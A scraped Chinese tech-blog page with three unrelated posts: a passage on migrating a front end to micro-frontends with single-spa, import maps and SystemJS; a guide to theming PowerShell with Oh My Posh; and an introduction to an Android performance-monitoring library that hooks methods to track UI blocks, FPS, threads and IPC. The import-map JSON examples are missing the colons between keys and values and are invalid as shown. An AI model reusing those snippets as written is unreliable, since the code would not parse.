这里其实有一个小插曲,我们第一个了解的框架就是 single-spa,当时有一个小需求 single-spa 实现不了,于是我按照官网的文档去 slack 询问,第二天一大早我就收到了回复,算上时差他们一看到我的问题就给了我答复,这个反馈速度加上对国内开源社区的不乐观,我们直接就选择了 single-spa。

In-broswer module vs build time module

在开始实践前,我可能需要给大家介绍两个概念以帮助大家更好地理解接下来的架构设计,第一个概念是 in-broswer module,或者叫做es6 modules,与之对应的是现在用途最广的 build time module,这两个module有什么区别呢?我们先来看一个图:

module-build-result

module-build-result

这个图里两个 js 文件互相引用后最后打包的结果就是 build time module。在写代码的时候虽然你觉得这两个文件是分离的,但是其实在最终打包的时候这两个文件里的内容会被合并,最终变成一个 js 文件,然后这个 js 文件被 html 文件引用。

in-broswer module 则不同,这种模块是浏览器根据你提供的 url 从网络中请求回来的,你的每一个 import 都代表了一次网络请求,各个文件真的变成了独立的模块,通过网络请求相互依赖。

但是这样的模块有一个缺点,就是它没有办法像我们日常开发一样直接给一个名字就能直接引用到对应的模块:

import singleSpa from "single-spa";

由于需要在网络中定位到这个模块在哪里病发送对应的请求,它需要一个完整的url:

import singleSpa from "https://cdn.jsdelivr.net/npm/single-spa/esm/single-spa.min.js";

Import-map

这个特性使得大多数程序员都不喜欢它,毕竟大多数人都不想写一串长长的 url 来引用一个模块。为了解决这个问题,WICG 起草了一个新的浏览器规范,这个规范叫做 import map

<script type="importmap">
 {
  "imports": {
   "single-spa""https://cdn.jsdelivr.net/npm/single-spa/esm/single-spa.min.js"
  }
 }
</script>

import map 是一段特殊的 js,它的 type 为 importmap,在这个 script 标签里面的是一个 json object。这个 json object 的 key 就是某一个模块的名字,而它对应的 value 就是这个模块的 url 地址。

当然,既然 import-map 是一个 script 标签,那么理所应当它也可以加上 src 属性,成为一段外部 script:

<script type="importmap" src="https://some.url.to.your.importmap"></script>

在一些情况下,可能你的项目中引用了某一个包的不同版本,这时候可以用 import-map 的 scopes 功能来限制某一个文件的引用:

<script type="importmap">
 {
  "imports": {
   "lodash""https://unpkg.com/lodash@3"
  },
  "scopes": {
   "/module-a/": {
    "lodash""https://unpkg.com/lodash@4"
   }
  }
 }
</script>

这里的 scopes 代表了如果某一个 module 以 module-a 开头那么里面如果有引用 lodash 的 import,这个 import 将会引用 v4 版本,其他的 import 则都是引用的 v3 版本。

于是根据这个 import-map,我们就能够在代码里像使用正常模块那样使用 in-broswer module 了:

import singleSpa from "single-spa";

Systemjs

然后接下来就是前端传统节目,很显然,这么新的规范大部分浏览器目前都是不支持的,更别提永远也不可能支持的 IE 了,所以我们需要 polyfill - systemjs,它怎么工作的这里为了不扯远就不再赘述了,感兴趣的同学可以通过链接去 github 里面看文档,总的来说这是一个专门为了 es-module 而生的 polyfill。

我们从一个简单的 demo 来看它是怎么让 import-map 工作的:

es6-module-syntax

es6-module-syntax

这是一个很简单的 demo,HTML 页面中留有一段 template,然后导入一份 es-module,这份 module 也很简单,只做了一件事就是导入 vue 然后把 template 里面的 name 换成我们想要的东西。

但是这里有一个细节,我们在导入 vue 的时候必须用一段 url 来导入,如果我们把这段 url 换成我们平时开发时的字符串会发生什么呢?

import-without-url

import-without-url

这里会发生这样的错误是因为我们在 script 标签上标记了这个 script 是一个 es-module,于是里面的 import 关键字是浏览器在运行时执行的,但是因为后面的字符串没办法告诉浏览器 Vue 这个资源到底在哪,浏览器当然也就找不到对应的资源,于是就报错了。

如果我们想要将 url 替换为我们平时开发时候的字符串,就得依赖于 import-map,但是大部分浏览器现在都还不支持这一特性,于是我们需要引入 systemjs:

how-to-use-systemjs

how-to-use-systemjs

由于我们使用了 systemjs,为了按照它的规矩来行事,我们需要在原本的规范上修改一些代码:

  • 首先是我们需要在开始引入 systemjs
  • 然后将 import-map 的 type 从 importmap 改为 systemjs-importmap
  • 接着把 es-module 的 type 从 module 改为 systemjs-module
  • 最后是改动最大的地方,在 es-module 中我们不再使用 import 和 export 来导入导出模块,转而使用 systemjs 的语法,不过不用担心, webpack 和 rollup 等打包工具现在都支持将代码打包成 systemjs 风格,所以我们在写代码的时候还是可以按照正常规范来写

架构设计

到这里我们的前置概念就介绍完了,可以准备开始正式的拆分工作了,不过在拆分开始前,我们需要提前设计好我们的基础设施架构和代码组织方式。

基础设施架构

基于 single-spa 加上 import-map,我们最后计划好的基础设施架构大概长这个样子:

arch-of-micro-fe

arch-of-micro-fe

  1. 首先我们前端的所有静态资源都会分别部署在 AWS 的 S3 服务中,其中唯一的一份 HTML 文件存放在 root 容器的 S3 中。
  2. 当用户访问我们的网站时,流量会从 client 端到达 root 容器的 AWS S3,这个时候用户的浏览器会先加载根路径下的 HTML 页面,而 HTML 页面的 head 标签中有一份 import-map 的 script。
  3. 这时候 client 会再发送一次请求到我们的 import-map 所在的 S3 拿到 import-map。
  4. 然后我们在 body 标签中用 systemjs 引入 root 容器,整个 APP 开始运转,之后根据不同的路径去不同的 S3 拿对应的静态文件

部署策略

为了能够达到各个团队独立自治的目的,部署是必不可缺的一环,我们的最终目的是不同的团队部署不会影响其他团队的业务。一个团队的线上代码出了问题,其他团队的业务仍可正常运行,对于一个 to B 的项目来说,这样的规划是有意义的。

delpoy-plan

delpoy-plan

基于这个目的,每一个团队自己维护自己的 app 的 CI/CD pipeline。需要特别注意的是,在每一次部署后需要更新 import-map 自己团队对应的 app 地址,这样还可以达到版本管理的目的。只要 S3 中一直存放着某一个版本的静态资源,仅仅更新 import-map 的对应地址即可达到快速部署和回滚的目的。

pipeline-stage

pipeline-stage

本地开发策略

在本地开发时有两种策略,一种是直接在本地启动一个 root 容器,然后将本地的 APP 注册到 root 容器中。

但是这样的开发方式需要解决依赖问题,比如 APP 依赖的通用方法库、通用组件库。解决这些依赖问题也有两个办法,一个是直接将对应的依赖打包,在本地进行配置,本地开发时直接引用打包好的依赖;第二个方式是将这些依赖作为一个共享 APP 直接在本地作为一个类似于 server 一样运行,然后通过 import-map 来共享,在开发时直接引用导出的方法和组件,而 single-spa 也提供了这样的方式,感兴趣的读者可以通过这个链接详细了解。

第二种方式则要简单许多,并且开发体验也会好很多。通常我们都有开发环境。我们可以直接在线上开发环境的 import-map 开一个口,利用 import-map-overrides 这个工具把线上的 import-map 对应的那个 APP 地址覆盖成本地地址。这时线上通过 import-map 去寻找这个 APP 的时候就会直接请求你的本地某个地址,然后线上运行的代码其实就已经是你本地的代码了,可以无缝与各种依赖开发。

你可能会觉得有安全问题,但其实这个工具可以做一些配置,比如只在本地和某一个域名下才打开这个口子,在别的地方都不开放这个后门。

实际拆分

problem

problem

讲了这么多,终于开始上手了,但是这个世界上有一句名话叫做理想很丰满,现实很骨感。当你兴致勃勃准备好了一切计划,现实一般都不会让你如愿。我们这些看起来都还不错的计划有一部分被金主爸爸暂时搁置了,有一部分由于设计不妥开发体验不佳也被改造了。

太贵了

成本永远是和金主爸爸谈判绕不开的话题,我们新的架构设计在单体前端的基础上增加了许多东西:

  • 多 repo(当然这个不算钱,也就没啥阻碍,但是最终也没有用多 repo 的方案,这个后面再聊
  • 多 pipeline
  • 多部署资源(每一个 APP 使用单独的 S3
  • 多出来的 import map service

以前 10 块钱就能干完的活,你这么一搞我得出 100 块了吧,你这么玩我的钱包很难办啊

金主爸爸如是说。这种情况下我们就需要和金主爸爸谈判,为什么这些东西是必要的,为什么我们需要加这么多资源。但项目的问题在于,我们没时间谈判了,所以决定采取“架构降级”:

  • 先暂时用一条 pipeline 来 build 我们的 app,在下一期项目有足够证据的时候切分 pipeline

    • 这一决定在后来验证是完全错误的,设想一下一个内存只有 1G 的 agent,需要 build 一个有 5 个 APP 的前端项目
    • 同时由于金主爸爸的钱包问题,我们项目只有一个 agent,请想象一下我们的日常开发hhhhh
  • 先暂时将所有 app 部署到同一个地方,以文件夹分隔,如果一段时间后发现能满足需求,就先保持原状

  • 每次 build 生成一份 import map,不单独维护 import map 资源,当团队相互影响时再寻求拆分时机

repo 拆分问题

我们一开始的设想是一个单独的 APP 拆分为一个单独的 repo,真正上手的时候仔细一想,有必要吗?

这让我回想起了一期项目时后端的微服务 repo,由于是一期项目,不同微服务之间的调用需要 setup,所以大多数时候本地都打开了三个以上的 Intellij,加上乱七八糟的其他应用,不得不说对 16G 内存的 Macbook 是一个考验。

回到前端这边,极有可能我们在日常的开发过程中会频繁抽取/更改公用代码库,也就意味着我们需要频繁提交更改,更新版本,然后才能使用,想想都不想做了。

再者,目前两个团队的体量其实还不必如此细致的拆分

有必要吗 - 繁琐的开发流程 - 多个本地 idea

公用代码难以维护 - 不同repo 不同更改 - ts类型引用问题

跨业务页面拆分问题

最初的设想是一条业务线是一个单独的 APP,一些跨业务的页面(也就是每一个业务都会有的页面,比如 User Account Management)也会被单独抽取一个 APP。

我们也真的这么做了,然后小伙伴们就戴上了痛苦面具:

  • “BA 说这个页面是统一的,这个业务的改动,那个业务也要改。” “抽!”
  • “BA 说这个新的页面要独立,所有新功能要在所有业务中生效。” “抽!”
  • ......

“这个公共页面的逻辑跟那边的逻辑是一样的,我们是 copy 一份?” “......”

这样的策略导致我们的项目中存在大量 APP,而这些 APP 仔细一想好像没必要啊。增加 build 成本的同时也增加了我们自己的开发和维护成本,这拆的本末倒置了,于是我们做了一个改进 - 将所有公共页面塞进了一个 APP 中。

这个方案咋一听怪怪的,但是真的这么做了以后发现真香。所有的改动都会在所有的业务生效,不同的业务用不同的权限限制,大家维护同意份代码。等一下,你刚刚不是说不想大家维护同一份代码怕冲突吗?

这里的情况恰恰相反,所有的改动和需求都需要在所有地方生效,这样的方式我们就不用维护多份代码,而且也不会造成冲突 - 因为需求方的需求是单向的,如果有冲突,那就是需求冲突了,需要金主爸爸自己内部去掰头了。

可能有的小伙伴会说,怎么不试试后端拆分方式,使用 DDD 来指导拆分呢?巧了么不是,一开始我们就是按照后端 DDD 的方式来指导拆分的,然后就发生了这些问题,至少在我们的实践过程中,微服务的拆分方式不能照搬到前端来。

CSS 冲突问题

这是我们遇到的另一个比较严重的问题。我们在项目中使用了 Material UI,其中的 CSS 使用的是 CSS-in-JS 的方式,又因为有一套自己的 class name 生成规则,在没有控制好 scope 的情况下,多个 APP 的样式名冲突了,导致了严重的互相影响。

这虽然不是 single-spa 的问题,但是 single-spa 也提供了一些解决方案,包括 JS lib 和 CSS 的隔离问题,这些方案可以轻易地在官网或者 github issue 里面搜索到,这里就不过多解释了。解决的关键在于使用不同的 JS 或者 CSS 方案要做好相应的隔离。

写在最后

以上大概就是我们在拆分微前端过程中遇到的还记得住的事情了,从这次拆分中给我最大的益处其实不是技术上的提升,而是让我明白了做项目的两个关键点:

  • 所有事情不会原封不动按照你的计划执行,越大的事情越是这样,及时考虑突发事件,灵活应变,不要拘泥于设计,基于现实改变计划才是可行之策。
  • 架构的演进应该逐步推进,稳步前行,没有必要在一次架构演进中考虑好未来的所有情况,先不说你能不能考虑周全,谁又能说未来的情况不会发生改变呢,不要以现在的情况去揣度未来的情景,过好当下,灵活设计,提前预防未来可能发生的状况,准备好plan B即可。
原文:https://juejin.cn/post/7007774421502935054
收起阅读 »

配置一个好看的PowerShell

工作学习生活中不免要经常用到 PowerShell ,但是那深蓝色的背景实在让人想吐槽几句。今天我们就来美化一下它,几十种花里胡哨的主题任你选择~准备首先我们要下载 Windows Terminal,打开微软商店搜索或者在Gith...
继续阅读 »

工作学习生活中不免要经常用到 PowerShell ,但是那深蓝色的背景实在让人想吐槽几句。

今天我们就来美化一下它,几十种花里胡哨的主题任你选择~

image-20211017111042177

准备

  1. 首先我们要下载 Windows Terminal,打开微软商店搜索或者在Github搜索下载即可:

    image-20211017111722102

  2. Win11后,WSL又迎来了质的飞跃,你甚至可以直接在文件管理中看到它:

    image-20211017111555327

  3. 想修改 Windows Terminal 透明亚克力背景以及字体样式颜色也可以看我的上篇文章。

插一句,可以尝试一下新的 PowerShell 是跨平台的,挺好用

安装及修改

先贴出Oh My Posh官方文档

  1. 首先在命令行分别输入以下命令,中途询问输入Y确认即可:

    Install-Module oh-my-posh -Scope CurrentUser -SkipPublisherCheck
    Install-Module posh-git -Scope CurrentUser

  2. 直接来修改配置文件:

    notepad $PROFILE

  3. 会提示你新建一个文件,直接复制粘贴,然后保存退出重新启动即可。

    Import-Module posh-git
    Import-Module oh-my-posh
    Set-PoshPrompt -Theme agnosterplus

  4. 你可以通过 Get-PoshThemes 来查看所有可用主题,再次修改配置文件中第三行内容即可:

    image-20211017112633530

一些提示

  1. 你打开后可能会有些图标显示不出来,那是因为你的字体不支持,你可以下载Nerd Fonts ,或者下载官方推荐的Meslo LGM NF,使用字体需要修改Windows Terminal的设置文件,具体可以看我的上篇文章,我这里使用的是"MesloLGS NF"。

  2. 选择主题也可以直接输入 Set-PoshPrompt -Theme 主题名

  3. 这个主题在VScode中也可以适配显示,在设置中搜索 Integrated:font,修改字体即可:

    image.png

  4. 显示出来是这样的:

    image.png

  5. 暂时想不出来更多了,有问题可以评论然后我再补充~

原文:https://juejin.cn/post/7019878578703564807
收起阅读 »

不会 Android 性能优化?你还差一个开源库!

简介开源库的地址是:幸苦各位能给个小小的 star 鼓励下。UI 线程 block 检测。App 的 FPS 检测。线程的创建和启动监控以及线程池的创建监控。IPC (进程间通讯)监控。实时通过 logcat 打印检测到的问题。保存检测到的信息到文件。提供上报...
继续阅读 »

简介

由于本人工作需要,需要解决一些性能问题,虽然有 ProfilerSystrace 等工具,但是无法实时监控,多少有些不方便,于是计划写一个能实时监控性能的小工具。经过学习大佬们的文章,最终完成了这个开源的性能实时检测库。初步能达到预期效果,这里做个记录,算是小结了。

开源库的地址是:

github.com/XanderWang/…

幸苦各位能给个小小的 star 鼓励下。

这个性能检测库,可以检测以下问题:

  • UI 线程 block 检测。

  • App 的 FPS 检测。

  • 线程的创建和启动监控以及线程池的创建监控。

  • IPC (进程间通讯)监控。

同时还实现了以下功能:

  • 实时通过 logcat 打印检测到的问题。

  • 保存检测到的信息到文件。

  • 提供上报信息文件接口。

接入指南

1 在 APP 工程目录下面的 build.gradle 添加如下内容。

dependencies {
 // 基础依赖,必须添加
 debugImplementation 'io.github.xanderwang:performance:0.3.1'
 releaseImplementation 'io.github.xanderwang:performance-noop:0.3.1'

 // hook 方案封装,必须添加
 debugImplementation 'io.github.xanderwang:hook:0.3.1'

 // 以下是 hook 方案选择一个就好了。如果运行报错,就换另外一个,如果还是报错,就提个 issue
 // SandHook 方案,推荐添加。如果运行报错,可以替换为 epic 库。
 debugImplementation 'io.github.xanderwang:hook-sandhook:0.3.1'

 // epic 方法。如果运行报错,可以替换为 SandHook。
 // debugImplementation 'io.github.xanderwang:hook-epic:0.3.1'
}

2 APP 工程的 Application 类新增类似如下初始化代码。

Java 初始化示例

  private void initPERF(final Context context) {
   final PERF.LogFileUploader logFileUploader = new PERF.LogFileUploader() {
     @Override
     public boolean upload(File logFile) {
       return false;
    }
  };
   PERF.init(new PERF.Builder()
      .checkUI(true, 100) // 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
      .checkFps(true, 1000) // 检查 fps
      .checkThread(true) // 检查线程和线程池
      .globalTag("test_perf") // 全局 logcat tag ,方便过滤
      .cacheDirSupplier(new PERF.IssueSupplier<File>() {
         @Override
         public File get() {
           // issue 文件保存目录
           return context.getCacheDir();
        }
      })
      .maxCacheSizeSupplier(new PERF.IssueSupplier<Integer>() {
         @Override
         public Integer get() {
           // issue 文件最大占用存储空间
           return 10 * 1024 * 1024;
        }
      })
      .uploaderSupplier(new PERF.IssueSupplier<PERF.LogFileUploader>() {
         @Override
         public PERF.LogFileUploader get() {
           // issue 文件上传接口
           return logFileUploader;
        }
      })
      .build());
}

kotlin 示例

  private fun doUpload(log: File): Boolean {
   return false
}

 private fun initPERF(context: Context) {
   PERF.init(PERF.Builder()
      .checkUI(true, 100)// 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
      .checkFps(true, 1000) // 检查 fps
      .checkThread(true)// 检查线程和线程池
      .globalTag("test_perf")// 全局 logcat tag ,方便过滤
      .cacheDirSupplier { context.cacheDir } // issue 文件保存目录
      .maxCacheSizeSupplier { 10 * 1024 * 1024 } // issue 文件最大占用存储空间
      .uploaderSupplier { // issue 文件的上传接口实现
         PERF.LogFileUploader { logFile -> doUpload(logFile) }
      }
      .build()
  )
}

主要更新记录

  • 0.3.1 新增给 ImageView 设置比实际控件尺寸大的图片检测

  • 0.3.0 修改依赖库发布方式为 MavenCentral

  • 0.2.0 线程耗时的监控,同时可以监控线程优先级(setPriority)的改变。

  • 0.1.12 线程创建的监控,加入 thread name 信息收集。同时接入 startup 库做必要的初始化,以及调整 multi dex 的时候,配置文件找不到的问题。

  • 0.1.11 优化 hook 方案的封装,通过 SandHook 开源库,可以按照 IPC 的耗时时间长短来检测。

  • 0.1.10 FPS 的检测时间间隔从默认 2s 调整为 1s,同时支持自定义时间间隔。

  • 0.1.9 优化线程池创建的监控。

  • 0.1.8 初版发布,完成基本的功能。

不建议直接在线上使用这个库,在编写这个库,测试 hook 的时候,在不同的机器和 rom 上,会有不同的问题,这里建议先只在线下自测使用这个检测库。

原理介绍

UI 线程 block 检测原理

主要参考了 AndroidPerformanceMonitor 库的思路,对 UI 线程的 Looper 里面处理 Message 的过程进行监控。

具体做法是,在 Looper 开始处理 Message 前,在异步线程开启一个延时任务,用于后续收集信息。如果这个 Message 在指定的时间段内完成了处理,那么在这个 Message 被处理完后,就取消之前的延时任务,说明 UI 线程没有 block 。如果在指定的时间段内没有完成任务,说明 UI 线程有 block 。此时,异步线程可以执行刚才的延时任务。如果我们在这个延时任务里面打印 UI 线程的方法调用栈,就可以知道 UI 线程在做什么了。这个就是 UI 线程 block 检测的基本原理。

但是这个方案有一个缺点,就是无法处理 InputManager 的输入事件,比如 TV 端的遥控按键事件。通过对按键事件的调用方法链进行分析,发现最终每个按键事件都调用了 DecorView 类的 dispatchKeyEvent 方法,而非 Looper 的处理 Message 流程。所以 AndroidPerformanceMonitor 库是无法准确监控 TV 端应用 UI block 的情况。针对 TV 端应用按键处理,需要找到一个新的切入点,这个切入点就是刚刚的 DecorView 类的 dispatchKeyEvent 方法。

那如何介入 DecorView 类的 dispatchKeyEvent 方法呢?我们可以通过 epic 库来 hook 这个方法的调用。hook 成功后,我们可以在 DecorView 类的 dispatchKeyEvent 方法调用前后都接收到一个回调方法,在 dispatchKeyEvent 方法调用前我们可以在异步线程执行一个延时任务,在 dispatchKeyEvent 方法调用后,取消这个延时任务。如果 dispatchKeyEvent 方法耗时时间小于指定的时间阈值,延时任务在执行前被取消,可以认为没有 block ,此时移除了延时任务。如果 dispatchKeyEvent 方法耗时时间大于指定的时间阈值说明此时 UI 线程是有 block 的。此时,异步线程可以执行这个延时任务来收集必要的信息。

以上就是修改后的 UI 线程 block 的检测原理了,目前做的还比较粗糙,后续计划考虑参考 AndroidPerformanceMonitor 打印 CPU 、内存等更多的信息。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: UI BLOCK
  msg: UI BLOCK
  create time: 2021-01-13 11:24:41
  trace:
  java.lang.Thread.sleep(Thread.java:-2)
  java.lang.Thread.sleep(Thread.java:442)
  java.lang.Thread.sleep(Thread.java:358)
  com.xander.performance.demo.MainActivity.testANR(MainActivity.kt:49)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

FPS 检测的原理

FPS 检测的原理,利用了 Android 的屏幕绘制原理。这里简单说下 Android 的屏幕绘制原理。

系统每隔 16 ms 就会发送一个 VSync 信号。 如果应用注册了这个 VSync 信号,就会在 VSync 信号到来的时候,收到回调,从而开始准备绘制。如果准备顺利,也就是 CPU 准备数据、GPU 栅格化等,如果这些任务在 16 ms 之内完成,那么下一个 VSync 信号到来前就可以绘制这一帧界面了。就没有掉帧,界面很流畅。如果在 16 ms 内没准备好,可能就需要更多的时间这个画面才能显示出来,在这种情况下就发生了丢帧,如果丢帧很多就卡顿了。

检测 FPS 的原理其实挺简单的,就是通过一段时间内,比如 1s,统计绘制了多少个画面,就可以计算出 FPS 了。那如何知道应用 1s 内绘制了多少个界面呢?这个就要靠 VSync 信号监听了。

在开始准备绘制前,往 UI 线程的 MessageQueue 里面放一个同步屏障,这样 UI 线程就只会处理异步消息,直到同步屏障被移除。刷新前,应用会注册一个 VSync 信号监听,当 VSync 信号到达的时候,系统会通知应用,让应用会给 UI 线程的 MessageQueue 里面放一个异步 Message *。由于之前 MessageQueue 里有了一个*同步屏障,所以后续 UI 线程会优先处理这个异步 Message 。这个异步 Message 做的事情就是从 ViewRootImpl 开始我们熟悉的 measurelayoutdraw

我们可以通过 Choreographer 注册 VSync 信号监听。16ms 后,我们收到了 VSync 的信号,给 MessageQueue 里面放一个同步消息,我们不做特别处理,只是做一个计数,然后监听下一次的 VSync 信号,这样,我们就可以知道 1s 内我们监听到了多少个 VSync 信号,就可以得出帧率。

为什么监听到的 VSync 信号数量就是帧率呢?

由于 Looper 处理 Message 是串行的,就是一次只处理一个 Message ,处理完了这个 Message 才会处理下一个 Message 。而绘制的时候,绘制任务 Message 是异步消息,会优先执行,绘制任务 Message 执行完成后,就会执行上面说的 VSync 信号计数的任务。如果忽略计数任务的耗时,那么最后统计到的 VSync 信号数量可以粗略认为是某段时间内绘制的帧数。然后就可以通过这段时间的长度和 VSync 信号数量来计算帧率了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_FPSTool: APP FPS is: 54 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz

线程的创建和启动监控以及线程池的创建监控

线程和线程池的监控,主要是监控线程和线程池在哪里创建和执行的,如果我们可以知道这些信息,我们就可以比较清楚线程和线程池的创建和启动时机是否合理。从而得出优化方案。

一个比较容易想到的方法就是,应用代码里面的所有线程和线程池继承同一个线程基类和线程池基类。然后在构造函数和启动函数里面打印方法调用栈,这样我们就知道哪里创建和执行了线程或者线程池。

让应用所有的线程和线程池继承同一个基类,可以通过编译插件来实现,定制一个特殊的 Transform ,通过 ASM 编辑生成的字节码来改变继承关系。但是,这个方法有一定的上手难度,不太适合新手。

除了这个方法,我们还有另外一种方法,就是 hook 。通过 hook 线程或者线程池的构造方法和启动方法,我们就可以在线程或者线程池的构造方法和启动方法的前后做一些切片处理,比如打印当前方法调用栈等。这个也就是线程和线程池监控的基本原理。

线程池的监控没有太大难度,一般都是 ThreadPoolExecutor 的子类,所以我们 hook 一下 ThreadPoolExecutor 的构造方法就可以监控线程池的创建了。线程池的执行主要就是 hookThreadPoolExecutor 类的 execute 方法。

线程的创建和执行的监控方法就稍微要费些脑筋了,因为线程池里面会创建线程,所以这个线程的创建和执行应该和线程池绑定的。需要找到线程和线程池的联系,之前看到一个库,好像是通过线程和线程池的 ThreadGroup 来建立关联的,本来我也计划按照这个关系来写代码的,但是我发现,我们有的小伙伴写的线程池的 ThreadFactory 里面创建线程并没有传入ThreadGroup ,这个就尴尬了,就建立不了联系了。经过查阅相关源码发现了一个关键的类,ThreadPoolExecutor 的内部类Worker ,由于这个类是内部类,所以这个类实际的构造方法里面会传入一个外部类的实例,也就是 ThreadPoolExecutor 实例。同时, Worker 这个类还是一个 Runnable 实现,在 Worker 类通过 ThreadFactory 创建线程的时候,会把自己作为一个 Runnable 传给 Thread 所以,我们通过这个关系,就可以知道 WorkerThread 的关联了。这样,我们通过 ThreadPoolExecutorWorker 的关联,以及 WorkerThread 的关联,就可以得到 ThreadPoolExecutor 和它创建的 Thread 的关联了。这个也就是线程和线程池的监控原理了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: THREAD
  msg: THREAD POOL CREATE
  create time: 2021-01-13 11:23:47
  create trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.ThreadTool$ThreadPoolExecutorConstructorHook.afterHookedMethod(ThreadTool.java:158)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:265)
  me.weishu.epic.art.entry.Entry64.onHookObject(Entry64.java:64)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:239)
  java.util.concurrent.Executors.newSingleThreadExecutor(Executors.java:179)
  com.xander.performance.demo.MainActivity.testThreadPool(MainActivity.kt:38)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

IPC(进程间通讯)监控的原理

进程间通讯的具体原理,也就是 Binder 机制,这里不做详细的说明,也不是这个框架库的原理。

检测进程间通讯的方法和前面检测线程的方法类似,就是找到所有的进程间通讯的方法的共同点,然后对共同点做一些修改或者说切片,让应用在进行进程间通讯的时候,打印一下调用栈,然后继续做原来的事情。就达到了 IPC 监控的目的。

那如何找到共同点,或者说切片,就是本节的重点。

进程间通讯离不开 Binder ,需要从 Binder 入手。

写一个 AIDL demo 后发现,自动生成的代码里面,接口 A 继承自 IInterface 接口,然后接口里面有个内部抽象类 Stub 类,继承自 Binder ,同时实现了接口 A 。这个 Stub 类里面还有一个内部类 Proxy ,实现了接口 A ,并持有一个 IBinder 实例。

我们在使用 AIDL 的时候,会用到 Stub 类的 asInterFace 的方法,这个方法会新建一个 Proxy 实例,并给这个 Proxy 实例传入 IBinder , 或者如果传入的 IBinder 实例如果是接口 A 的话,就强制转化为接口 A 实例。一般而言,这个 IBinder 实例是 ServiceConnection 的回调方法里面的实例,是 BinderProxy 的实例。所以 Stub 类的 asInterFace 一般会创建一个 Proxy 实例,查看这个 Proxy 接口的实现方法,发现最终都会调用 BinderProxytransact 方法,所以 BinderProxytransact 方法是一个很好的切入点。

本来我也是计划通过 hookBinderProxy 类的 transact 方法来做 IPC 的检测的。但是 epic 库在 hook 含有 Parcel 类型参数的方法的时候,不稳定,会有异常。由于暂时还没能力解决这个异常,只能重新找切入点。最后发现 AIDL demo 生成的代码里面,除了调用了 调用 BinderProxytransact 方法外,还调用了 ParcelreadException 方法,于是决定 hook 这个方法来切入 IPC 调用流程,从而达到 IPC 监控的目的。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: IPC
  msg: IPC
  create time: 2021-01-13 11:25:04
  trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.IPCTool$ParcelReadExceptionHook.beforeHookedMethod(IPCTool.java:96)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:229)
  me.weishu.epic.art.entry.Entry64.onHookVoid(Entry64.java:68)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:220)
  me.weishu.epic.art.entry.Entry64.voidBridge(Entry64.java:82)
  android.app.IActivityManager$Stub$Proxy.getRunningAppProcesses(IActivityManager.java:7285)
  android.app.ActivityManager.getRunningAppProcesses(ActivityManager.java:3684)
  com.xander.performance.demo.MainActivity.testIPC(MainActivity.kt:55)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

作者:xanderwang
来源:https://juejin.cn/post/6916531888576266254

收起阅读 »